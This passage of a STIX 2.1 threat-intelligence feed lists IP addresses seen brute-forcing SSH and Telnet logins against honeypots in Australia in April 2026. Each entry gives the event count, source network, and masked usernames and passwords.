      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 26. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1********T, 3***********4, 3**********4.",
      "id": "indicator--8adac513-7fba-46a2-8630-f63ef2d88d40",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '43.160.206.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T18:15:10.000Z",
      "valid_until": "2026-05-28T18:15:08.000Z"
    },
    {
      "created": "2026-04-26T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: OM. ASN(s): 28885. Organisation(s): Oman Telecommunications Company (S.A.O.G).",
      "id": "indicator--73549762-fec4-4188-9f5e-1541efc2b45e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '5.37.140.209']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T18:15:10.000Z",
      "valid_until": "2026-05-28T18:15:08.000Z"
    },
    {
      "created": "2026-04-26T18:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 140. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RU. ASN(s): 21453. Organisation(s): Flex Ltd.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1**********E, 1***:, 3***********4, 3**********4, D*****************;.",
      "id": "indicator--6be5ace5-ee35-4017-acf0-95422be1a181",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '94.253.15.171']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T18:15:10.000Z",
      "valid_until": "2026-05-28T18:15:08.000Z"
    },
    {
      "created": "2026-04-26T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TR. ASN(s): 9121. Organisation(s): Turk Telekom.",
      "id": "indicator--b8200203-f0a5-4299-b95f-89e6aef40cc9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '95.7.79.96']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T18:15:10.000Z",
      "valid_until": "2026-05-28T18:15:08.000Z"
    },
    {
      "created": "2026-04-26T19:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 160. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 14956. Organisation(s): RouterHosting LLC. Usernames observed (masked): r**t, 3**********4, c***s. Passwords observed (masked): 3***********4, 3**********4, 5******6, G************8, R**********9.",
      "id": "indicator--7a5c831b-7779-47c4-841d-9c689f20799e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '107.189.27.179']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T19:15:10.000Z",
      "valid_until": "2026-05-28T19:15:09.000Z"
    },
    {
      "created": "2026-04-26T19:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4808. Organisation(s): China Unicom Beijing Province Network. Usernames observed (masked): r**t. Passwords observed (masked): -*************-.",
      "id": "indicator--c1876374-34e8-4ead-a50f-e115118defad",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '117.50.185.190']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T19:15:10.000Z",
      "valid_until": "2026-05-28T19:15:09.000Z"
    },
    {
      "created": "2026-04-26T19:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: IQ. ASN(s): 208324. Organisation(s): Noor Al-Bedaya for General Trading, agricultural investments, Technical production and dist.",
      "id": "indicator--968bd478-a86c-4306-a12e-ea4afd1c561b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '151.244.155.228']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T19:15:10.000Z",
      "valid_until": "2026-05-28T19:15:09.000Z"
    },
    {
      "created": "2026-04-26T19:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 5******6, G************8, S*************n.",
      "id": "indicator--fb1d404d-caf0-4472-a840-af3971351030",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '163.7.6.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T19:15:10.000Z",
      "valid_until": "2026-05-28T19:15:09.000Z"
    },
    {
      "created": "2026-04-26T19:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 22884. Organisation(s): TOTAL PLAY TELECOMUNICACIONES SA DE CV.",
      "id": "indicator--3bc8d6de-0671-4db2-80aa-45f8f8f253b2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '187.189.23.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T19:15:10.000Z",
      "valid_until": "2026-05-28T19:15:09.000Z"
    },
    {
      "created": "2026-04-26T19:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 28. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 22884. Organisation(s): TOTAL PLAY TELECOMUNICACIONES SA DE CV.",
      "id": "indicator--2e5afc15-f3a0-4401-b840-42bcf6e2f7b1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '187.251.140.126']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T19:15:10.000Z",
      "valid_until": "2026-05-28T19:15:09.000Z"
    },
    {
      "created": "2026-04-26T19:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: PS. ASN(s): 12975. Organisation(s): Palestine Telecommunications Company (PALTEL).",
      "id": "indicator--6db4add2-7ec0-4420-837d-7021cdb349bc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '43.245.156.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T19:15:10.000Z",
      "valid_until": "2026-05-28T19:15:09.000Z"
    },
    {
      "created": "2026-04-26T19:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 12322. Organisation(s): Free SAS.",
      "id": "indicator--50a68ced-2c74-4ffa-950e-639274c4e41a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '88.121.71.77']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T19:15:10.000Z",
      "valid_until": "2026-05-28T19:15:09.000Z"
    },
    {
      "created": "2026-04-26T19:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 56971. Organisation(s): Cgi Global Limited. Usernames observed (masked): s****m, u**r. Passwords observed (masked): O************Z, u**r.",
      "id": "indicator--3f65b6bb-b27a-40e0-8f2a-1187373495cd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '95.182.98.181']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T19:15:10.000Z",
      "valid_until": "2026-05-28T19:15:09.000Z"
    },
    {
      "created": "2026-04-26T20:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 270876. Organisation(s): OPERADORA DE SERVICOS MULTIMIDIA LTDA.",
      "id": "indicator--57644962-a06f-409b-b120-9d6b075934f3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T20:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '138.94.168.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T20:15:05.000Z",
      "valid_until": "2026-05-28T20:15:04.000Z"
    },
    {
      "created": "2026-04-26T20:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 5607. Organisation(s): Sky UK Limited.",
      "id": "indicator--1b3c8fb1-69e0-4de8-99a7-b3e73017cfe2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T20:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '151.228.210.125']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T20:15:05.000Z",
      "valid_until": "2026-05-28T20:15:04.000Z"
    },
    {
      "created": "2026-04-26T20:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: JP. ASN(s): 142002. Organisation(s): Scloud Pte Ltd. Usernames observed (masked): r**t. Passwords observed (masked): 8**2.",
      "id": "indicator--07abaf1e-ae4a-4a3a-96ff-506ee41d7d71",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T20:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '165.154.231.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T20:15:05.000Z",
      "valid_until": "2026-05-28T20:15:04.000Z"
    },
    {
      "created": "2026-04-26T20:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 270814. Organisation(s): ZAAZ PROVEDOR DE INTERNET E TELECOMUNICACOES LTDA.",
      "id": "indicator--4d6ae02f-9545-46ac-a8c7-0468cf9534a2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T20:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '177.20.174.123']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T20:15:05.000Z",
      "valid_until": "2026-05-28T20:15:04.000Z"
    },
    {
      "created": "2026-04-26T20:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CO. ASN(s): 3816. Organisation(s): COLOMBIA TELECOMUNICACIONES S.A. ESP BIC.",
      "id": "indicator--6a9ad57e-8093-4c33-880a-76590bc3a377",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T20:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '179.32.129.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T20:15:05.000Z",
      "valid_until": "2026-05-28T20:15:04.000Z"
    },
    {
      "created": "2026-04-26T20:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22, 443. Source country: DK. ASN(s): 210731. Organisation(s): Forening for DotSrc.",
      "id": "indicator--90124d10-be60-434f-acb2-0848a0182e9c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T20:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '185.129.61.1']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T20:15:05.000Z",
      "valid_until": "2026-05-28T20:15:04.000Z"
    },
    {
      "created": "2026-04-26T20:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 263302. Organisation(s): TORPEDOLINK TELECOM.",
      "id": "indicator--f4b228b7-cb5b-49d9-bca8-6d684b5cc786",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T20:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '191.6.251.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T20:15:05.000Z",
      "valid_until": "2026-05-28T20:15:04.000Z"
    },
    {
      "created": "2026-04-26T20:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie. Target ports: 23. Source country: TN. ASN(s): 37705. Organisation(s): TOPNET.",
      "id": "indicator--1cf32e0b-ba68-4dee-857d-07ced894fc1c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T20:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '197.244.14.216']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T20:15:05.000Z",
      "valid_until": "2026-05-28T20:15:04.000Z"
    },
    {
      "created": "2026-04-26T20:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SE. ASN(s): 214503. Organisation(s): QuxLabs AB.",
      "id": "indicator--b86c62ab-d569-4d2f-81dd-cb7d9dc63f99",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T20:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.84.107.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T20:15:05.000Z",
      "valid_until": "2026-05-28T20:15:04.000Z"
    },
    {
      "created": "2026-04-26T20:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 44265. Organisation(s): OOO Smoltelecom.",
      "id": "indicator--99c77553-e7d2-4a9c-a464-d24b76fa8764",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T20:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '5.145.204.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T20:15:05.000Z",
      "valid_until": "2026-05-28T20:15:04.000Z"
    },
    {
      "created": "2026-04-26T20:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 25. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t. Passwords observed (masked): c****s, d****n, l***x, u****u.",
      "id": "indicator--274a10e1-a503-4861-b46f-ae8f35e8b485",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T20:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '59.24.28.114']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T20:15:05.000Z",
      "valid_until": "2026-05-28T20:15:04.000Z"
    },
    {
      "created": "2026-04-26T20:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: GB. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--d013c52d-a1cf-41a8-b414-1b637335867a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T20:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '8.208.16.103']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T20:15:05.000Z",
      "valid_until": "2026-05-28T20:15:04.000Z"
    },
    {
      "created": "2026-04-26T20:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 190. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MA. ASN(s): 6713. Organisation(s): Itissalat Al-MAGHRIB. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1*********0, 1******b, 1*******4, 2****9, 2****3.",
      "id": "indicator--fd9d38ca-de45-4ef8-8ba6-c4a142947783",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T20:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '81.192.46.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T20:15:05.000Z",
      "valid_until": "2026-05-28T20:15:04.000Z"
    },
    {
      "created": "2026-04-26T21:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22, 443. Source country: NL. ASN(s): 215125. Organisation(s): Church of Cyberology.",
      "id": "indicator--c916db64-8b5a-4545-88cf-5a649116b81d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '192.42.116.97']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T21:15:11.000Z",
      "valid_until": "2026-05-28T21:15:09.000Z"
    },
    {
      "created": "2026-04-26T21:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ET. ASN(s): 24757. Organisation(s): Ethiopian Telecommunication Corporation. Usernames observed (masked): r**t. Passwords observed (masked): i***@, r*******6.",
      "id": "indicator--54efb4c4-68f1-4ad7-9aff-0503cf9de4fb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '196.189.51.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T21:15:11.000Z",
      "valid_until": "2026-05-28T21:15:09.000Z"
    },
    {
      "created": "2026-04-26T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--4fe3bce5-f89b-4c63-aef5-0f9b347000a8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '27.204.198.85']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T21:15:11.000Z",
      "valid_until": "2026-05-28T21:15:09.000Z"
    },
    {
      "created": "2026-04-26T21:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 652. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt). Usernames observed (masked): r**t, d****y, u****u, a***n, s*****t. Passwords observed (masked): 1****6, ***, P******d, 1**4, 1***5.",
      "id": "indicator--08180ff2-daef-4680-8609-1983706a0353",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.153.34.97']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T21:15:11.000Z",
      "valid_until": "2026-05-28T21:15:09.000Z"
    },
    {
      "created": "2026-04-26T21:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PL. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): r**t. Passwords observed (masked): L*********5.",
      "id": "indicator--1d063ed0-1280-458f-993f-9f10e68be3c7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '57.128.237.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T21:15:11.000Z",
      "valid_until": "2026-05-28T21:15:09.000Z"
    },
    {
      "created": "2026-04-26T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 3215. Organisation(s): Orange.",
      "id": "indicator--66e4e0a9-d478-46e5-ba44-a408cd25dfd0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '83.205.158.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T21:15:11.000Z",
      "valid_until": "2026-05-28T21:15:09.000Z"
    },
    {
      "created": "2026-04-26T21:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 9. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 1136. Organisation(s): KPN B.V.. Usernames observed (masked): *. Passwords observed (masked): *.",
      "id": "indicator--24691481-6525-4d0e-9ead-a3b71aa2ea92",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '86.88.167.214']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T21:15:11.000Z",
      "valid_until": "2026-05-28T21:15:09.000Z"
    },
    {
      "created": "2026-04-26T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): r**t. Passwords observed (masked): 1**2.",
      "id": "indicator--e733c764-49d6-4fe9-81fc-303651418302",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.171.85.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T22:15:10.000Z",
      "valid_until": "2026-05-28T22:15:09.000Z"
    },
    {
      "created": "2026-04-26T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 11. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 23888. Organisation(s): National Telecommunication Corporation HQ.",
      "id": "indicator--4d0c96fb-9876-44a5-a3c9-3f5998eaad2d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '175.107.3.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T22:15:10.000Z",
      "valid_until": "2026-05-28T22:15:09.000Z"
    },
    {
      "created": "2026-04-26T22:15:10.000Z",
